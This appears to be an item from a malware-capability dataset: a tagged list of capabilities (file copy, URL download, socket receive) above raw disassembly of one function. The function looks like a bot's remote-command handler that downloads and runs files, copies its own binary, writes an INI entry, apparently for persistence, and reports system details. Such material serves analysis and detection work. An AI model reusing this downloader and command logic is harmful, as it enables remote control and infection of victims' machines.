Function at 0x405244
Capabilities:
Copy file
Create thread
Download url
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x106
push 0
push 0
dec ecx
jne 0x40524c
push ebx
push esi
mov ebx, eax
lea esi, [ebp - 0x659]
xor eax, eax
push ebp
push 0x40688a
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x406820
lea eax, [ebp - 4]
call fcn.00403dcc
lea eax, [ebp - 4]
mov edx, esi
mov ecx, 0x641
call fcn.0040402c
mov eax, esi
mov edx, 0x641
call fcn.00404c3c
lea ecx, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00404fa0
lea ecx, [ebp - 0x10]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004050b0
lea ecx, [ebp - 0x14]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00405010
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00404eac
mov edx, dword [ebp - 4]
mov eax, 0x4068a0
call fcn.00404388
test eax, eax
jle 0x405348
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4068b0
call fcn.00404388
push eax
mov eax, dword [ebp - 4]
call fcn.00404044
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.004042a4
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 2
call fcn.004042e4
lea edx, [ebp - 8]
mov ecx, 2
mov eax, 0x4068c0
call fcn.0040432c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x4068cc
call fcn.00404388
mov ecx, eax
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.004042a4
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00404e48
mov edx, dword [ebp - 4]
mov eax, 0x4068d8
call fcn.00404388
test eax, eax
jle 0x4053bd
push 0x4068e8
push dword [ebx + 0x14]
push 0x4068f8
push dword [ebx + 0x18]
push 0x4068cc
lea eax, [ebp - 0x660]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x660]
mov eax, ebx
call fcn.00404e48
push 0x406904
push dword [ebx + 0x14]
push 0x4068f8
push dword [ebx + 0x18]
push 0x4068cc
lea eax, [ebp - 0x664]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x664]
mov eax, ebx
call fcn.00404e48
lea edx, [ebp - 0x668]
mov eax, dword [ebx + 0x1d8]
call fcn.004089f4
mov eax, dword [ebp - 0x668]
mov edx, 0x406914
call fcn.00404190
jne 0x406820
lea eax, [ebx + 0x1e0]
mov ecx, 1
mov edx, 1
call fcn.004042e4
lea edx, [ebp - 0x66c]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x66c]
push eax
lea eax, [ebp - 0x670]
mov ecx, 0x406924
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x670]
pop eax
call fcn.00404190
jne 0x40548d
cmp dword [ebx + 0x24], 0
jne 0x40548d
mov eax, dword [ebx + 0x1e4]
mov edx, dword [ebx + 0x1c]
call fcn.00404190
jne 0x40548d
mov dword [ebx + 0x24], 0xffffffff
lea eax, [ebx + 0x2118]
mov edx, dword [ebp - 0xc]
call fcn.00403e20
cmp dword [ebx + 0x28], 0
jne 0x40548d
push 0x406934
push dword [ebx + 0x14]
push 0x406948
lea eax, [ebp - 0x674]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x674]
mov eax, ebx
call fcn.00404e48
cmp dword [ebx + 0x24], 0
je 0x406820
mov eax, dword [ebx + 0x2118]
mov edx, dword [ebp - 0xc]
call fcn.00404190
jne 0x406820
lea edx, [ebp - 0x678]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x678]
push eax
lea eax, [ebp - 0x67c]
mov ecx, 0x406974
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x67c]
pop eax
call fcn.00404190
jne 0x4055fd
cmp dword [ebx + 0x28], 0
jne 0x405518
push 0x406934
push dword [ebx + 0x14]
push 0x406984
lea eax, [ebp - 0x680]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x680]
mov eax, ebx
call fcn.00404e48
push 0
push 0
mov eax, dword [ebx + 0x1e8]
call fcn.00404244
push eax
mov eax, dword [ebx + 0x1e4]
call fcn.00404244
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
cmp dword [ebx + 0x28], 0
jne 0x40556b
push 0x406934
push dword [ebx + 0x14]
push 0x4069a4
lea eax, [ebp - 0x684]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x684]
mov eax, ebx
call fcn.00404e48
mov eax, dword [ebx + 0x1ec]
mov edx, 0x4069c4
call fcn.00404190
jne 0x4055bc
mov dl, 1
mov eax, dword [ebx + 0x1e8]
call fcn.00408e18
cmp dword [ebx + 0x28], 0
jne 0x4055fd
push 0x406934
push dword [ebx + 0x14]
push 0x4069d0
lea eax, [ebp - 0x688]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x688]
mov eax, ebx
call fcn.00404e48
jmp 0x4055fd
mov eax, dword [ebx + 0x1ec]
mov edx, 0x4069ec
call fcn.00404190
jne 0x4055fd
cmp dword [ebx + 0x28], 0
jne 0x4055e0
mov edx, 0x4069f8
mov eax, ebx
call fcn.00404e48
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_closesocket
mov dl, 1
mov eax, dword [ebx + 0x1e8]
call fcn.00408e18
push 0
call sub.kernel32.dll_ExitProcess_1
lea edx, [ebp - 0x68c]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x68c]
push eax
lea eax, [ebp - 0x690]
mov ecx, 0x406a14
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x690]
pop eax
call fcn.00404190
jne 0x405646
xor eax, eax
mov dword [ebx + 0x24], eax
lea eax, [ebx + 0x2118]
call fcn.00403dcc
lea edx, [ebp - 0x694]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x694]
push eax
lea eax, [ebp - 0x698]
mov ecx, 0x406a24
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x698]
pop eax
call fcn.00404190
jne 0x4056eb
mov eax, dword [ebx + 0x1e4]
mov edx, 0x4069c4
call fcn.00404190
jne 0x40569a
mov dword [ebx + 0x28], 0xffffffff
jmp 0x4056e3
mov eax, dword [ebx + 0x1e4]
mov edx, 0x406a34
call fcn.00404190
jne 0x4056b3
xor eax, eax
mov dword [ebx + 0x28], eax
jmp 0x4056e3
cmp dword [ebx + 0x28], 0
jne 0x4056e3
push 0x406934
push dword [ebx + 0x14]
push 0x406a40
lea eax, [ebp - 0x69c]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x69c]
mov eax, ebx
call fcn.00404e48
mov eax, dword [ebx + 0x28]
mov dword [0x40c698], eax
lea edx, [ebp - 0x6a0]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x6a4]
mov ecx, 0x406a5c
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x6a4]
pop eax
call fcn.00404190
jne 0x40577d
lea eax, [ebp - 0x10]
push eax
lea edx, [ebp - 0x6a8]
mov eax, dword [ebp - 0x10]
call fcn.004092b8
mov edx, dword [ebp - 0x6a8]
mov eax, 0x406a68
call fcn.00404388
add eax, 4
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404044
mov ecx, eax
mov eax, dword [ebp - 0x10]
pop edx
call fcn.004042a4
lea eax, [ebp - 0x6ac]
mov ecx, 0x4068cc
mov edx, dword [ebp - 0x10]
call fcn.00404090
mov edx, dword [ebp - 0x6ac]
mov eax, ebx
call fcn.00404e48
lea edx, [ebp - 0x6b0]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x6b0]
push eax
lea eax, [ebp - 0x6b4]
mov ecx, 0x406a78
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x6b4]
pop eax
call fcn.00404190
jne 0x405fe2
cmp dword [ebx + 0x28], 0
jne 0x405fe2
mov eax, dword [ebx + 0x1e4]
mov edx, 0x4069c4
call fcn.00404190
jne 0x405916
push 0x406934
push dword [ebx + 0x14]
push 0x406a88
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 8]
call fcn.00404044
inc eax
push eax
push 0x406a94
lea eax, [ebp - 0x6bc]
call fcn.00408bd8
push dword [ebp - 0x6bc]
push 0x406aa4
lea eax, [ebp - 0x6b8]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x6b8]
lea edx, [ebp - 8]
pop ecx
call fcn.0040432c
mov eax, dword [ebp - 8]
call fcn.00404044
inc eax
push eax
push 0x406ab4
lea eax, [ebp - 0x6c4]
call fcn.00408a30
push dword [ebp - 0x6c4]
push 0x406aa4
lea eax, [ebp - 0x6c0]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x6c0]
lea edx, [ebp - 8]
pop ecx
call fcn.0040432c
push 0x406ac8
lea edx, [ebp - 0x6cc]
xor eax, eax
call fcn.00409064
push dword [ebp - 0x6cc]
push 0x406aa4
lea eax, [ebp - 0x6c8]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x6c8]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
push 0x406ae4
lea edx, [ebp - 0x6d4]
xor eax, eax
call fcn.00408fbc
push dword [ebp - 0x6d4]
push 0x406b00
lea eax, [ebp - 0x6d0]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x6d0]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00404e48
mov eax, dword [ebx + 0x1e4]
mov edx, 0x4069ec
call fcn.00404190
jne 0x405b46
lea edx, [ebp - 0x6d8]
mov eax, dword [ebx + 0x1e8]
call fcn.004092b8
mov eax, dword [ebp - 0x6d8]
mov edx, 0x406b0c
call fcn.00404190
jne 0x405a92
push 0x406934
push dword [ebx + 0x14]
push 0x406a88
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
push dword [ebp - 8]
push 0x406b18
lea edx, [ebp - 0x6dc]
mov eax, dword [0x40c67c]
call fcn.004091c0
push dword [ebp - 0x6dc]
push 0x406b34
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x406b40
lea edx, [ebp - 0x6e0]
mov eax, dword [0x40c680]
call fcn.004091c0
push dword [ebp - 0x6e0]
push 0x406b34
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x406b5c
lea edx, [ebp - 0x6e4]
mov eax, dword [0x40c684]
call fcn.004091c0
push dword [ebp - 0x6e4]
push 0x406b34
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x406b78
lea edx, [ebp - 0x6e8]
mov eax, dword [0x40c688]
call fcn.004091c0
push dword [ebp - 0x6e8]
push 0x406b34
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x406b98
lea edx, [ebp - 0x6ec]
mov eax, dword [0x40c68c]
call fcn.004091c0
push dword [ebp - 0x6ec]
push 0x406b34
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x406bb8
lea edx, [ebp - 0x6f0]
mov eax, dword [0x40c690]
call fcn.004091c0
push dword [ebp - 0x6f0]
push 0x406b00
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
jmp 0x405b3c
push 0x406934
push dword [ebx + 0x14]
push 0x406a88
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
push dword [ebp - 8]
push 0x406b18
lea edx, [ebp - 0x6f4]
mov eax, dword [0x40c67c]
call fcn.004091c0
push dword [ebp - 0x6f4]
push 0x406b34
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x406b40
lea edx, [ebp - 0x6f8]
mov eax, dword [0x40c680]
call fcn.004091c0
push dword [ebp - 0x6f8]
push 0x406b34
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x406b5c
lea edx, [ebp - 0x6fc]
mov eax, dword [0x40c684]
call fcn.004091c0
push dword [ebp - 0x6fc]
push 0x406b00
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00404e48
mov eax, dword [ebx + 0x1e4]
mov edx, 0x406bd8
call fcn.00404190
jne 0x405c10
push 0x406934
push dword [ebx + 0x14]
push 0x406a88
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
push dword [ebp - 8]
push 0x406be4
lea edx, [ebp - 0x700]
mov eax, dword [0x40c6a0]
call fcn.004091c0
push dword [ebp - 0x700]
push 0x406b34
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x406c00
lea edx, [ebp - 0x704]
mov eax, dword [0x40c6a4]
call fcn.004091c0
push dword [ebp - 0x704]
push 0x406b34
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x406c18
lea edx, [ebp - 0x708]
mov eax, dword [0x40c6a8]
call fcn.004091c0
push dword [ebp - 0x708]
push 0x406b00
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00404e48
mov eax, dword [ebx + 0x1e4]
mov edx, 0x406c34
call fcn.00404190
jne 0x405cda
push 0x406934
push dword [ebx + 0x14]
push 0x406a88
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
push dword [ebp - 8]
push 0x406c40
lea edx, [ebp - 0x70c]
mov eax, dword [0x40c6b0]
call fcn.004091c0
push dword [ebp - 0x70c]
push 0x406b34
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x406c60
lea edx, [ebp - 0x710]
mov eax, dword [0x40c6b4]
call fcn.004091c0
push dword [ebp - 0x710]
push 0x406b34
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x406c80
lea edx, [ebp - 0x714]
mov eax, dword [0x40c6b8]
call fcn.004091c0
push dword [ebp - 0x714]
push 0x406b00
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00404e48
mov eax, dword [ebx + 0x1e4]
mov edx, 0x406c98
call fcn.00404190
jne 0x405fe2
push 0x406934
push dword [ebx + 0x14]
push 0x406a88
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
lea edx, [ebp - 0x71c]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x71c]
lea edx, [ebp - 0x718]
call fcn.004091f8
mov eax, dword [ebp - 0x718]
push eax
lea edx, [ebp - 0x720]
xor eax, eax
call fcn.00408fbc
mov edx, dword [ebp - 0x720]
pop eax
call fcn.00404190
jne 0x405da8
push 0x406ca4
lea edx, [ebp - 0x72c]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x72c]
lea edx, [ebp - 0x728]
call fcn.00409234
push dword [ebp - 0x728]
push 0x406b00
lea eax, [ebp - 0x724]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x724]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
jmp 0x405fd8
lea edx, [ebp - 0x734]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x734]
lea edx, [ebp - 0x730]
call fcn.004091f8
mov eax, dword [ebp - 0x730]
push eax
lea edx, [ebp - 0x738]
xor eax, eax
call fcn.00409064
mov edx, dword [ebp - 0x738]
pop eax
call fcn.00404190
jne 0x405e46
push 0x406cb8
lea edx, [ebp - 0x744]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x744]
lea edx, [ebp - 0x740]
call fcn.00409234
push dword [ebp - 0x740]
push 0x406b00
lea eax, [ebp - 0x73c]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x73c]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
jmp 0x405fd8
lea edx, [ebp - 0x74c]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x74c]
lea edx, [ebp - 0x748]
call fcn.004091f8
mov eax, dword [ebp - 0x748]
push eax
lea edx, [ebp - 0x750]
xor eax, eax
call fcn.0040910c
mov edx, dword [ebp - 0x750]
pop eax
call fcn.00404190
jne 0x405ee4
push 0x406ccc
lea edx, [ebp - 0x75c]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x75c]
lea edx, [ebp - 0x758]
call fcn.00409234
push dword [ebp - 0x758]
push 0x406b00
lea eax, [ebp - 0x754]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x754]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
jmp 0x405fd8
lea edx, [ebp - 0x764]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x764]
lea edx, [ebp - 0x760]
call fcn.004091f8
mov eax, dword [ebp - 0x760]
push eax
lea edx, [ebp - 0x768]
xor eax, eax
call fcn.00408f14
mov edx, dword [ebp - 0x768]
pop eax
call fcn.00404190
jne 0x405f7f
push 0x406ce0
lea edx, [ebp - 0x774]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x774]
lea edx, [ebp - 0x770]
call fcn.00409234
push dword [ebp - 0x770]
push 0x406b00
lea eax, [ebp - 0x76c]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x76c]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
jmp 0x405fd8
push 0x406cf4
lea edx, [ebp - 0x780]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x780]
lea edx, [ebp - 0x77c]
call fcn.00409234
push dword [ebp - 0x77c]
push 0x406b00
lea eax, [ebp - 0x778]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x778]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00404e48
lea edx, [ebp - 0x784]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x784]
push eax
lea eax, [ebp - 0x788]
mov ecx, 0x406d04
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x788]
pop eax
call fcn.00404190
jne 0x406050
mov edx, 0x406d14
mov eax, ebx
call fcn.00404e48
cmp dword [ebx + 0x1e4], 0
je 0x406047
mov eax, dword [ebx + 0x1e4]
call fcn.004091b4
imul eax, eax, 0x3e8
push eax
call sub.kernel32.dll_Sleep
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_closesocket
lea edx, [ebp - 0x78c]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x78c]
push eax
lea eax, [ebp - 0x790]
mov ecx, 0x406d3c
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x790]
pop eax
call fcn.00404190
jne 0x4060a6
mov edx, 0x406d4c
mov eax, ebx
call fcn.00404e48
push 0x190
call sub.kernel32.dll_Sleep
push 0
call sub.kernel32.dll_ExitProcess_1
lea edx, [ebp - 0x794]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x794]
push eax
lea eax, [ebp - 0x798]
mov ecx, 0x406d64
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x798]
pop eax
call fcn.00404190
jne 0x406117
push 0x406d74
lea eax, [ebp - 0x7a0]
call fcn.00408850
push dword [ebp - 0x7a0]
push 0x4068cc
lea eax, [ebp - 0x79c]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x79c]
mov eax, ebx
call fcn.00404e48
lea edx, [ebp - 0x7a4]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x7a4]
push eax
lea eax, [ebp - 0x7a8]
mov ecx, 0x406d84
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x7a8]
pop eax
call fcn.00404190
jne 0x4061b2
mov eax, dword [ebx + 0x1e4]
call fcn.00404044
mov edx, dword [ebx + 0x1e4]
cmp byte [edx + eax - 1], 0xa
jne 0x406185
mov eax, dword [ebx + 0x1e4]
call fcn.00404044
mov edx, eax
lea eax, [ebx + 0x1e4]
mov ecx, 1
call fcn.004042e4
push 0x4068e8
push dword [ebx + 0x1e4]
push 0x4068cc
lea eax, [ebp - 0x7ac]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x7ac]
mov eax, ebx
call fcn.00404e48
lea edx, [ebp - 0x7b0]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x7b0]
push eax
lea eax, [ebp - 0x7b4]
mov ecx, 0x406d94
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x7b4]
pop eax
call fcn.00404190
jne 0x40624d
mov eax, dword [ebx + 0x1e4]
call fcn.00404044
mov edx, dword [ebx + 0x1e4]
cmp byte [edx + eax - 1], 0xa
jne 0x406220
mov eax, dword [ebx + 0x1e4]
call fcn.00404044
mov edx, eax
lea eax, [ebx + 0x1e4]
mov ecx, 1
call fcn.004042e4
push 0x406da4
push dword [ebx + 0x1e4]
push 0x406db4
lea eax, [ebp - 0x7b8]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x7b8]
mov eax, ebx
call fcn.00404e48
lea edx, [ebp - 0x7bc]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x7bc]
push eax
lea eax, [ebp - 0x7c0]
mov ecx, 0x406dd0
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x7c0]
pop eax
call fcn.00404190
jne 0x406781
cmp dword [ebx + 0x1e4], 0
je 0x40646c
mov eax, dword [ebx + 0x1e4]
mov edx, 0x406de0
call fcn.00404190
je 0x40646c
lea edx, [ebp - 8]
mov eax, dword [ebx + 0x1e4]
call fcn.004092b8
lea eax, [ebp - 0x7c4]
call fcn.004087b4
mov edx, dword [ebp - 0x7c4]
lea ecx, [ebp - 8]
mov eax, 0x406dec
call fcn.00408e80
lea edx, [ebp - 0x7c8]
xor eax, eax
call fcn.0040910c
mov edx, dword [ebp - 0x7c8]
lea ecx, [ebp - 8]
mov eax, 0x406e00
call fcn.00408e80
lea edx, [ebp - 0x7cc]
xor eax, eax
call fcn.00409064
mov edx, dword [ebp - 0x7cc]
lea ecx, [ebp - 8]
mov eax, 0x406e10
call fcn.00408e80
lea edx, [ebp - 0x7d0]
xor eax, eax
call fcn.00408fbc
mov edx, dword [ebp - 0x7d0]
lea ecx, [ebp - 8]
mov eax, 0x406e20
call fcn.00408e80
lea edx, [ebp - 0x7d4]
xor eax, eax
call fcn.00408f14
mov edx, dword [ebp - 0x7d4]
lea ecx, [ebp - 8]
mov eax, 0x406e30
call fcn.00408e80
lea eax, [ebp - 0x7d8]
call fcn.00408850
mov edx, dword [ebp - 0x7d8]
lea ecx, [ebp - 8]
mov eax, 0x406e40
call fcn.00408e80
lea edx, [ebp - 0x7dc]
mov eax, dword [ebp - 8]
call fcn.00409234
mov edx, dword [ebp - 0x7dc]
mov eax, 0x406e50
call fcn.00404388
test eax, eax
jne 0x4063a6
lea eax, [ebp - 8]
mov edx, 0x406e5c
call fcn.0040404c
lea eax, [ebx + 0x1e4]
mov edx, dword [ebp - 8]
call fcn.00403e20
push 0
mov eax, dword [ebx + 0x1e4]
call fcn.00404244
push eax
lea edx, [ebp - 0x7e0]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x7e0]
call fcn.00404244
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x406428
cmp dword [ebx + 0x28], 0
jne 0x40661a
push 0x406934
push dword [ebx + 0x14]
push 0x406e6c
push dword [ebx + 0x1e4]
push 0x406b00
lea eax, [ebp - 0x7e4]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x7e4]
mov eax, ebx
call fcn.00404e48
jmp 0x40661a
cmp dword [ebx + 0x28], 0
jne 0x40661a
push 0x406934
push dword [ebx + 0x14]
push 0x406e84
push dword [ebx + 0x1e4]
push 0x406b00
lea eax, [ebp - 0x7e8]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x7e8]
mov eax, ebx
call fcn.00404e48
jmp 0x40661a
lea eax, [ebp - 8]
mov edx, 0x406ea8
call fcn.00403e64
lea eax, [ebp - 0x7ec]
call fcn.004087b4
mov edx, dword [ebp - 0x7ec]
lea ecx, [ebp - 8]
mov eax, 0x406dec
call fcn.00408e80
lea edx, [ebp - 0x7f0]
xor eax, eax
call fcn.0040910c
mov edx, dword [ebp - 0x7f0]
lea ecx, [ebp - 8]
mov eax, 0x406e00
call fcn.00408e80
lea edx, [ebp - 0x7f4]
xor eax, eax
call fcn.00409064
mov edx, dword [ebp - 0x7f4]
lea ecx, [ebp - 8]
mov eax, 0x406e10
call fcn.00408e80
lea edx, [ebp - 0x7f8]
xor eax, eax
call fcn.00408fbc
mov edx, dword [ebp - 0x7f8]
lea ecx, [ebp - 8]
mov eax, 0x406e20
call fcn.00408e80
lea edx, [ebp - 0x7fc]
xor eax, eax
call fcn.00408f14
mov edx, dword [ebp - 0x7fc]
lea ecx, [ebp - 8]
mov eax, 0x406e30
call fcn.00408e80
lea eax, [ebp - 0x800]
call fcn.00408850
mov edx, dword [ebp - 0x800]
lea ecx, [ebp - 8]
mov eax, 0x406e40
call fcn.00408e80
lea edx, [ebp - 0x804]
mov eax, dword [ebp - 8]
call fcn.00409234
mov edx, dword [ebp - 0x804]
mov eax, 0x406e50
call fcn.00404388
test eax, eax
jne 0x406564
lea eax, [ebp - 8]
mov edx, 0x406e5c
call fcn.0040404c
lea eax, [ebx + 0x1e4]
mov edx, dword [ebp - 8]
call fcn.00403e20
push 0
mov eax, dword [ebx + 0x1e4]
call fcn.00404244
push eax
lea edx, [ebp - 0x808]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x808]
call fcn.00404244
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x4065df
cmp dword [ebx + 0x28], 0
jne 0x40661a
push 0x406934
push dword [ebx + 0x14]
push 0x406ec4
push dword [ebx + 0x1e4]
push 0x406b00
lea eax, [ebp - 0x80c]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x80c]
mov eax, ebx
call fcn.00404e48
jmp 0x40661a
cmp dword [ebx + 0x28], 0
jne 0x40661a
push 0x406934
push dword [ebx + 0x14]
push 0x406e84
push dword [ebx + 0x1e4]
push 0x406b00
lea eax, [ebp - 0x810]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x810]
mov eax, ebx
call fcn.00404e48
cmp dword [ebx + 0x1e8], 0
je 0x4066c8
mov eax, dword [ebx + 0x1e8]
call fcn.004091b4
test eax, eax
jle 0x4066c8
mov eax, dword [ebx + 0x1e8]
call fcn.004091b4
mov edx, eax
mov eax, dword [ebx + 0x1e4]
call fcn.004086e0
test eax, eax
je 0x4066c8
cmp dword [ebx + 0x28], 0
jne 0x406693
push 0x406934
push dword [ebx + 0x14]
push 0x406edc
push dword [ebx + 0x1e4]
push 0x406b00
lea eax, [ebp - 0x814]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x814]
mov eax, ebx
call fcn.00404e48
jmp 0x4066c8
push 0x406934
push dword [ebx + 0x14]
push 0x406f00
push dword [ebx + 0x1e4]
push 0x406b00
lea eax, [ebp - 0x818]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x818]
mov eax, ebx
call fcn.00404e48
lea edx, [ebp - 0x81c]
mov eax, dword [ebx + 0x1ec]
call fcn.004092b8
mov eax, dword [ebp - 0x81c]
mov edx, 0x406f2c
call fcn.00404190
jne 0x406751
push 0x406f38
lea eax, [ebp - 0x820]
mov ecx, dword [ebx + 0x1e4]
mov edx, 0x406f4c
call fcn.00404090
mov eax, dword [ebp - 0x820]
call fcn.00404244
push eax
push 0x406f5c
push 0x406f64
call sub.kernel32.dll_WritePrivateProfileStringA
cmp dword [ebx + 0x28], 0
jne 0x406751
push 0x406934
push dword [ebx + 0x14]
push 0x406f74
lea eax, [ebp - 0x824]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x824]
mov eax, ebx
call fcn.00404e48
lea edx, [ebp - 0x828]
mov eax, dword [ebx + 0x1f0]
call fcn.004092b8
mov eax, dword [ebp - 0x828]
mov edx, 0x4069c4
call fcn.00404190
jne 0x406781
mov dl, 1
mov eax, dword [ebx + 0x1e4]
call fcn.00408e18
lea edx, [ebp - 0x82c]
mov eax, dword [ebx + 0x1e0]
call fcn.004092b8
mov eax, dword [ebp - 0x82c]
push eax
lea eax, [ebp - 0x830]
mov ecx, 0x406f9c
mov edx, dword [ebx + 0x20]
call fcn.00404090
